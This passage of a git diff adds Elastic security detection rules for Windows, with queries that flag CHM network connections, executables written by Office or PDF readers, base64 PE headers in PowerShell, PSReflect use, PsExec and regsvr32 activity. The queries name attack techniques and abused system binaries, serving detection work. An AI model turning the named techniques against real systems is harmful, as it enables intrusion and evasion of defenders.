Microsoft HTML Help system. Adversaries may conceal +malicious code in a CHM file and deliver it to a victim for execution. CHM content is loaded by the HTML Help executable +program (hh.exe). +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Network Connection via Compiled HTML File" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 21 +rule_id = "b29ee2be-bf99-446c-ab1a-2dc0183394b8" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +type = "eql" + +query = ''' +sequence by process.entity_id + [process where process.name : "hh.exe" and event.type == "start"] + [network where process.name : "hh.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1204" +name = "User Execution" +reference = "https://attack.mitre.org/techniques/T1204/" + + [[rule.threat.technique.subtechnique]] + id = "T1204.002" + name = "Malicious File" + reference = "https://attack.mitre.org/techniques/T1204/002/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1218" +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" + + [[rule.threat.technique.subtechnique]] + id = "T1218.001" + name = "Compiled HTML File" + reference = "https://attack.mitre.org/techniques/T1218/001/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/execution_ms_office_written_file.toml b/rules/windows/execution_ms_office_written_file.toml new file mode 100644 index 000000000..01068897b --- /dev/null +++ b/rules/windows/execution_ms_office_written_file.toml @@ -0,0 +1,69 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "production" +updated_date = "2021/07/19" + +[rule] +author = ["Elastic"] +description = """ +Identifies an executable created by a Microsoft Office application and subsequently executed. These processes are often +launched via scripts inside documents or during exploitation of Microsoft Office applications. +""" +from = "now-120m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +interval = "60m" +language = "eql" +license = "Elastic License v2" +name = "Execution of File Written or Modified by Microsoft Office" +risk_score = 21 +rule_id = "0d8ad79f-9025-45d8-80c1-4f0cd3c5e8e5" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +type = "eql" + +query = ''' +sequence with maxspan=2h + [file where event.type != "deletion" and file.extension : "exe" and + (process.name : "WINWORD.EXE" or + process.name : "EXCEL.EXE" or + process.name : "OUTLOOK.EXE" or + process.name : "POWERPNT.EXE" or + process.name : "eqnedt32.exe" or + process.name : "fltldr.exe" or + process.name : "MSPUB.EXE" or + process.name : "MSACCESS.EXE") + ] by host.id, file.path + [process where event.type in ("start", "process_started")] by host.id, process.executable +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +name = "Phishing" +reference = "https://attack.mitre.org/techniques/T1566/" +[[rule.threat.technique.subtechnique]] +id = "T1566.001" +name = "Spearphishing Attachment" +reference = "https://attack.mitre.org/techniques/T1566/001/" + +[[rule.threat.technique.subtechnique]] +id = "T1566.002" +name = "Spearphishing Link" +reference = "https://attack.mitre.org/techniques/T1566/002/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/windows/execution_pdf_written_file.toml b/rules/windows/execution_pdf_written_file.toml new file mode 100644 index 000000000..fb4a69e2f --- /dev/null +++ b/rules/windows/execution_pdf_written_file.toml @@ -0,0 +1,71 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "production" +updated_date = "2021/07/19" + +[rule] +author = ["Elastic"] +description = """ +Identifies a suspicious file that was written by a PDF reader application and subsequently executed. These processes are +often launched via exploitation of PDF applications. +""" +from = "now-120m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +interval = "60m" +language = "eql" +license = "Elastic License v2" +name = "Execution of File Written or Modified by PDF Reader" +risk_score = 21 +rule_id = "1defdd62-cd8d-426e-a246-81a37751bb2b" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +type = "eql" + +query = ''' +sequence with maxspan=2h + [file where event.type != "deletion" and file.extension : "exe" and + (process.name : "AcroRd32.exe" or + process.name : "rdrcef.exe" or + process.name : "FoxitPhantomPDF.exe" or + process.name : "FoxitReader.exe") and + not (file.name : "FoxitPhantomPDF.exe" or + file.name : "FoxitPhantomPDFUpdater.exe" or + file.name : "FoxitReader.exe" or + file.name : "FoxitReaderUpdater.exe" or + file.name : "AcroRd32.exe" or + file.name : "rdrcef.exe") + ] by host.id, file.path + [process where event.type in ("start", "process_started")] by host.id, process.executable +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +name = "Phishing" +reference = "https://attack.mitre.org/techniques/T1566/" +[[rule.threat.technique.subtechnique]] +id = "T1566.001" +name = "Spearphishing Attachment" +reference = "https://attack.mitre.org/techniques/T1566/001/" + +[[rule.threat.technique.subtechnique]] +id = "T1566.002" +name = "Spearphishing Link" +reference = "https://attack.mitre.org/techniques/T1566/002/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/windows/execution_posh_portable_executable.toml b/rules/windows/execution_posh_portable_executable.toml new file mode 100644 index 000000000..2e72fec7f --- /dev/null +++ b/rules/windows/execution_posh_portable_executable.toml @@ -0,0 +1,101 @@ +[metadata] +creation_date = "2021/10/15" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Detects the presence of a portable executable (PE) in a PowerShell script by looking for its encoded header. Attackers +embed PEs into PowerShell scripts to inject them into memory, avoiding defences by not writing to disk. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "Suspicious Portable Executable Encoded in Powershell Script" +note = """## Triage and analysis. + +### Investigating Suspicious Portable Executable Encoded in Powershell Script + +PowerShell is one of the main tools used by system administrators for automation, report routines, and other tasks. + +Attackers can abuse PowerShell in-memory capabilities to inject executables into memory without touching the disk, +bypassing antivirus software. These executables are generally base64 encoded. + +#### Possible investigation steps: + +- Examine script content that triggered the detection. +- Investigate script execution chain (parent process tree). +- Inspect any file or network events from the suspicious PowerShell host process instance. +- If the action is suspicious for the user, check for any other activities done by the user in the last 48 hours. + +### False Positive Analysis + +- Verify whether the script content is malicious/harmful. + +### Related Rules + +- PowerShell Reflection Assembly Load - e26f042e-c590-4e82-8e05-41e81bd822ad +- PowerShell Suspicious Payload Encoded and Compressed - 81fe9dc6-a2d7-4192-a2d8-eed98afc766a +- PowerShell PSReflect Script - 56f2e9b5-4803-4e44-a0a4-a52dc79d57fe + +### Response and Remediation + +- Immediate response steps should be taken to validate, investigate, and potentially contain the activity to prevent +further post-compromise behavior. + +## Config + +The 'PowerShell Script Block Logging' logging policy must be enabled. +Steps to implement the logging policy with with Advanced Audit Configuration: + +``` +Computer Configuration > +Administrative Templates > +Windows PowerShell > +Turn on PowerShell Script Block Logging (Enable) +``` + +Steps to implement the logging policy via registry: + +``` +reg add "hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 +``` +""" +references = [ + "https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md" +] +risk_score = 47 +rule_id = "ad84d445-b1ce-4377-82d9-7c633f28bf9a" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and + powershell.file.script_block_text : ( + TVqQAAMAAAAEAAAA + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + [[rule.threat.technique.subtechnique]] + id = "T1059.001" + name = "PowerShell" + reference = "https://attack.mitre.org/techniques/T1059/001/" + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/execution_posh_psreflect.toml b/rules/windows/execution_posh_psreflect.toml new file mode 100644 index 000000000..a1831ea2d --- /dev/null +++ b/rules/windows/execution_posh_psreflect.toml @@ -0,0 +1,118 @@ +[metadata] +creation_date = "2021/10/15" +maturity = "production" +updated_date = "2022/03/02" + +[rule] +author = ["Elastic"] +description = """ +Detects the use of PSReflect in PowerShell scripts. Attackers leverage PSReflect as a library that enables +PowerShell to access win32 API functions. +""" +false_positives = ["Legitimate PowerShell scripts that make use of PSReflect to access the win32 API"] +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "PowerShell PSReflect Script" +note = """## Triage and analysis +### Investigating PowerShell PSReflect Script + +PowerShell is one of the main tools in the belt of system administrators for automation, report routines, and other tasks. + +PSReflect is a library that enables PowerShell to access win32 API functions in an uncomplicated way. It also helps to +create enums and structs easily—all without touching the disk. + +Although this is an interesting project for every developer and admin out there, it is mainly used in the red team and +malware tooling for its capabilities. + +Detecting the core implementation of PSReflect means detecting most of the tooling that uses Windows API through +PowerShell, enabling the defender to discover tools being dropped in the environment. + +#### Possible investigation steps: +- Check for additional PowerShell logs that indicate that the script/command was run. +- Gather the script content that may be split into multiple script blocks, and identify its capabilities. +- If the action is suspicious for the user, check for any other activities done by the user in the last 48 hours. +- Look for additional alerts involving the host and the user. + +### False Positive Analysis +- Verify whether the script content is malicious/harmful. + +### Related Rules +- PowerShell Suspicious Discovery Related Windows API Functions - 61ac3638-40a3-44b2-855a-985636ca985e +- PowerShell Keylogging Script - bd2c86a0-8b61-4457-ab38-96943984e889 +- PowerShell Suspicious Script with Audio Capture Capabilities - 2f2f4939-0b34-40c2-a0a3-844eb7889f43 +- Potential Process Injection via PowerShell - 2e29e96a-b67c-455a-afe4-de6183431d0d +- PowerShell Reflection Assembly Load - e26f042e-c590-4e82-8e05-41e81bd822ad +- PowerShell Suspicious Payload Encoded and Compressed - 81fe9dc6-a2d7-4192-a2d8-eed98afc766a +- PowerShell Suspicious Script with Screenshot Capabilities - 959a7353-1129-4aa7-9084-30746b256a70 + +### Response and Remediation +- Immediate response steps should be taken to validate, investigate, and potentially contain the activity to prevent +further post-compromise behavior. + +## Config +The 'PowerShell Script Block Logging' logging policy must be configured (Enable). + +Steps to implement the logging policy with with Advanced Audit Configuration: +``` +Computer Configuration > +Administrative Templates > +Windows PowerShell > +Turn on PowerShell Script Block Logging (Enable) +``` +Steps to implement the logging policy via registry: +``` +reg add "hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 +``` +""" +references = [ + "https://github.com/mattifestation/PSReflect/blob/master/PSReflect.psm1", + "https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md" +] +risk_score = 47 +rule_id = "56f2e9b5-4803-4e44-a0a4-a52dc79d57fe" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and + powershell.file.script_block_text:( + "New-InMemoryModule" or + "Add-Win32Type" or + psenum or + DefineDynamicAssembly or + DefineDynamicModule or + "Reflection.TypeAttributes" or + "Reflection.Emit.OpCodes" or + "Reflection.Emit.CustomAttributeBuilder" or + "Runtime.InteropServices.DllImportAttribute" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +id = "T1059" + + [[rule.threat.technique.subtechnique]] + name = "PowerShell" + reference = "https://attack.mitre.org/techniques/T1059/001/" + id = "T1059.001" + +[[rule.threat.technique]] +name = "Native API" +reference = "https://attack.mitre.org/techniques/T1106/" +id = "T1106" + +[rule.threat.tactic] +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +id = "TA0002" + diff --git a/rules/windows/execution_psexec_lateral_movement_command.toml b/rules/windows/execution_psexec_lateral_movement_command.toml new file mode 100644 index 000000000..8f4a8d23c --- /dev/null +++ b/rules/windows/execution_psexec_lateral_movement_command.toml @@ -0,0 +1,60 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of the SysInternals tool PsExec.exe making a network connection. This could be an indication of lateral +movement. +""" +false_positives = [ + """ + PsExec is a dual-use tool that can be used for benign or malicious activity. It's important to baseline your + environment to determine the amount of noise to expect from this tool. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "PsExec Network Connection" +risk_score = 21 +rule_id = "55d551c6-333b-4665-ab7e-5d14a59715ce" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +type = "eql" + +query = ''' +sequence by process.entity_id + [process where process.name : "PsExec.exe" and event.type == "start"] + [network where process.name : "PsExec.exe"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1569" +name = "System Services" +reference = "https://attack.mitre.org/techniques/T1569/" +[[rule.threat.technique.subtechnique]] +id = "T1569.002" +name = "Service Execution" +reference = "https://attack.mitre.org/techniques/T1569/002/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/execution_register_server_program_connecting_to_the_internet.toml b/rules/windows/execution_register_server_program_connecting_to_the_internet.toml new file mode 100644 index 000000000..d46a6b8d4 --- /dev/null +++ b/rules/windows/execution_register_server_program_connecting_to_the_internet.toml @@ -0,0 +1,71 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies the native Windows tools regsvr32.exe, regsvr64.exe, RegSvcs.exe, or RegAsm.exe making a network connection. +This may be indicative of an attacker bypassing allowlists or running arbitrary scripts via a signed Microsoft binary. +""" +false_positives = [ + """ + Security testing may produce events like this. Activity of this kind performed by non-engineers and ordinary users + is unusual. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Network Connection via Registration Utility" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 21 +rule_id = "fb02b8d3-71ee-4af1-bacd-215d23f17efa" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +type = "eql" + +query = ''' +sequence by process.entity_id + [process where event.type == "start" and + process.name : ("regsvr32.exe", "RegAsm.exe", "RegSvcs.exe") and + not ( + (process.Ext.token.integrity_level_name : "System" or winlog.event_data.IntegrityLevel : "System") and + (process.parent.name : "msiexec.exe" or process.parent.executable : ("C:\\Program Files (x86)\\*.exe", "C:\\Program Files\\*.exe")) + ) + ] + [network where process.name : ("regsvr32.exe", "RegAsm.exe", "RegSvcs.exe") and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8") and network.protocol != "dns"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1218" +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" +[[rule.threat.technique.subtechnique]] +id = "T1218.010" +name = "Regsvr32" +reference = "https://attack.mitre.org/techniques/T1218/010/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/windows/execution_scheduled_task_powershell_source.toml b/rules/windows/execution_scheduled_task_powershell_source.toml new file mode 100644 index 000000000..71bc29fc9 --- /dev/null +++ b/rules/windows/execution_scheduled_task_powershell_source.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2020/12/15" +maturity = "production" +updated_date = "2021/10/17" + +[rule] +author = ["Elastic"] +description = """ +Identifies the PowerShell process loading the Task Scheduler COM DLL followed by an outbound RPC network connection +within a short time period. This may indicate lateral movement or remote discovery via scheduled tasks. +""" +false_positives = ["Legitimate scheduled tasks may be created during installation of new software."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Outbound Scheduled Task Activity via PowerShell" +references = [ + "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", +] +risk_score = 47 +rule_id = "5cd55388-a19c-47c7-8ec4-f41656c2fded" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +type = "eql" + +query = ''' +sequence by host.id, process.entity_id with maxspan = 5s + [library where dll.name : "taskschd.dll" and process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe")] + [network where process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and destination.port == 135 and not destination.address in ("127.0.0.1", "::1")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1053" +name = "Scheduled Task/Job" +reference = "https://attack.mitre.org/techniques/T1053/" + + [[rule.threat.technique.subtechnique]] + id = "T1053.005" + name = "Scheduled Task" + reference = "https://attack.mitre.org/techniques/T1053/005/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/execution_shared_modules_local_sxs_dll.toml b/rules/windows/execution_shared_modules_local_sxs_dll.toml new file mode 100644 index 000000000..99742ed56 --- /dev/null +++ b/rules/windows/execution_shared_modules_local_sxs_dll.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/10/28" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation, change, or deletion of a DLL module within a Windows SxS local folder. Adversaries may abuse +shared modules to execute malicious payloads by instructing the Windows module loader to load DLLs from arbitrary local +paths. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Execution via local SxS Shared Module" +note = """## Triage and analysis + +The SxS DotLocal folder is a legitimate feature that can be abused to hijack standard modules loading order by forcing an executable on the same application.exe.local folder to load a malicious DLL module from the same directory.""" +references = ["https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection"] +risk_score = 47 +rule_id = "a3ea12f3-0d4e-4667-8b44-4230c63f3c75" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where file.extension : "dll" and file.path : "C:\\*\\*.exe.local\\*.dll" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1129" +name = "Shared Modules" +reference = "https://attack.mitre.org/techniques/T1129/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/execution_suspicious_cmd_wmi.toml b/rules/windows/execution_suspicious_cmd_wmi.toml new file mode 100644 index 000000000..d8189fff8 --- /dev/null +++ b/rules/windows/execution_suspicious_cmd_wmi.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2020/10/19" +maturity = "production" +updated_date = "2021/03/08" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious command execution (cmd) via Windows Management Instrumentation (WMI) on a remote host. This could +be indicative of adversary lateral movement. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Cmd Execution via WMI" +risk_score = 47 +rule_id = "12f07955-1674-44f7-86b5-c35da0a6f41a" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : "WmiPrvSE.exe" and process.name : "cmd.exe" and + process.args : "\\\\127.0.0.1\\*" and process.args : ("2>&1", "1>") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1047" +name = "Windows Management Instrumentation" +reference = "https://attack.mitre.org/techniques/T1047/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/execution_suspicious_image_load_wmi_ms_office.toml b/rules/windows/execution_suspicious_image_load_wmi_ms_office.toml new file mode 100644 index 000000000..8984dbfdc --- /dev/null +++ b/rules/windows/execution_suspicious_image_load_wmi_ms_office.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/11/17" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies a suspicious image load (wmiutils.dll) from Microsoft Office processes. This behavior may indicate +adversarial activity where child processes are spawned via Windows Management Instrumentation (WMI). This technique can +be used to execute code and evade traditional parent/child processes spawned from Microsoft Office products. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious WMI Image Load from MS Office" +references = [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", +] +risk_score = 21 +rule_id = "891cb88e-441a-4c3e-be2d-120d99fe7b0d" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +library where process.name : ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE") and + event.action : "load" and + event.category : "library" and + dll.name : "wmiutils.dll" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1047" +name = "Windows Management Instrumentation" +reference = "https://attack.mitre.org/techniques/T1047/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/execution_suspicious_pdf_reader.toml b/rules/windows/execution_suspicious_pdf_reader.toml new file mode 100644 index 000000000..a94f710ea --- /dev/null +++ b/rules/windows/execution_suspicious_pdf_reader.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/03/30" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious child processes of PDF reader applications. These child processes are often launched via +exploitation of PDF applications or social engineering. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious PDF Reader Child Process" +risk_score = 21 +rule_id = "53a26770-9cbd-40c5-8b57-61d01a325e14" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : ("AcroRd32.exe", + "Acrobat.exe", + "FoxitPhantomPDF.exe", + "FoxitReader.exe") and + process.name : ("arp.exe", "dsquery.exe", "dsget.exe", "gpresult.exe", "hostname.exe", "ipconfig.exe", "nbtstat.exe", + "net.exe", "net1.exe", "netsh.exe", "netstat.exe", "nltest.exe", "ping.exe", "qprocess.exe", + "quser.exe", "qwinsta.exe", "reg.exe", "sc.exe", "systeminfo.exe", "tasklist.exe", "tracert.exe", + "whoami.exe", "bginfo.exe", "cdb.exe", "cmstp.exe", "csi.exe", "dnx.exe", "fsi.exe", "ieexec.exe", + "iexpress.exe", "installutil.exe", "Microsoft.Workflow.Compiler.exe", "msbuild.exe", "mshta.exe", + "msxsl.exe", "odbcconf.exe", "rcsi.exe", "regsvr32.exe", "xwizard.exe", "atbroker.exe", + "forfiles.exe", "schtasks.exe", "regasm.exe", "regsvcs.exe", "cmd.exe", "cscript.exe", + "powershell.exe", "pwsh.exe", "wmic.exe", "wscript.exe", "bitsadmin.exe", "certutil.exe", "ftp.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1204" +reference = "https://attack.mitre.org/techniques/T1204/" +name = "User Execution" + + +[rule.threat.tactic] +id = "TA0002" +reference = "https://attack.mitre.org/tactics/TA0002/" +name = "Execution" + diff --git a/rules/windows/execution_suspicious_powershell_imgload.toml b/rules/windows/execution_suspicious_powershell_imgload.toml new file mode 100644 index 000000000..91ed2d2f4 --- /dev/null +++ b/rules/windows/execution_suspicious_powershell_imgload.toml @@ -0,0 +1,98 @@ +[metadata] +creation_date = "2020/11/17" +maturity = "production" +updated_date = "2021/07/20" +min_stack_comments = "EQL regex syntax introduced in 7.12" +min_stack_version = "7.12.0" + +[rule] +author = ["Elastic"] +description = """ +Identifies the PowerShell engine being invoked by unexpected processes. Rather than executing PowerShell functionality +with powershell.exe, some attackers do this to operate more stealthily. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious PowerShell Engine ImageLoad" +risk_score = 47 +rule_id = "852c1f19-68e8-43a6-9dce-340771fe1be3" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +library where dll.name : ("System.Management.Automation.ni.dll", "System.Management.Automation.dll") and +/* add false positives relevant to your environment here */ +not process.executable : ("C:\\Windows\\System32\\RemoteFXvGPUDisablement.exe", "C:\\Windows\\System32\\sdiagnhost.exe") and +not process.executable regex~ """C:\\Program Files( \(x86\))?\\*\.exe""" and + not process.name : + ( + "Altaro.SubAgent.exe", + "AppV_Manage.exe", + "azureadconnect.exe", + "CcmExec.exe", + "configsyncrun.exe", + "choco.exe", + "ctxappvservice.exe", + "DVLS.Console.exe", + "edgetransport.exe", + "exsetup.exe", + "forefrontactivedirectoryconnector.exe", + "InstallUtil.exe", + "JenkinsOnDesktop.exe", + "Microsoft.EnterpriseManagement.ServiceManager.UI.Console.exe", + "mmc.exe", + "mscorsvw.exe", + "msexchangedelivery.exe", + "msexchangefrontendtransport.exe", + "msexchangehmworker.exe", + "msexchangesubmission.exe", + "msiexec.exe", + "MsiExec.exe", + "noderunner.exe", + "NServiceBus.Host.exe", + "NServiceBus.Host32.exe", + "NServiceBus.Hosting.Azure.HostProcess.exe", + "OuiGui.WPF.exe", + "powershell.exe", + "powershell_ise.exe", + "pwsh.exe", + "SCCMCliCtrWPF.exe", + "ScriptEditor.exe", + "ScriptRunner.exe", + "sdiagnhost.exe", + "servermanager.exe", + "setup100.exe", + "ServiceHub.VSDetouredHost.exe", + "SPCAF.Client.exe", + "SPCAF.SettingsEditor.exe", + "SQLPS.exe", + "telemetryservice.exe", + "UMWorkerProcess.exe", + "w3wp.exe", + "wsmprovhost.exe" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" +[[rule.threat.technique.subtechnique]] +id = "T1059.001" +name = "PowerShell" +reference = "https://attack.mitre.org/techniques/T1059/001/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/execution_suspicious_psexesvc.toml b/rules/windows/execution_suspicious_psexesvc.toml new file mode 100644 index 000000000..0f2dcfa8d --- /dev/null +++ b/rules/windows/execution_suspicious_psexesvc.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2020/08/14" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious psexec activity which is executing from the psexec service that has been renamed, 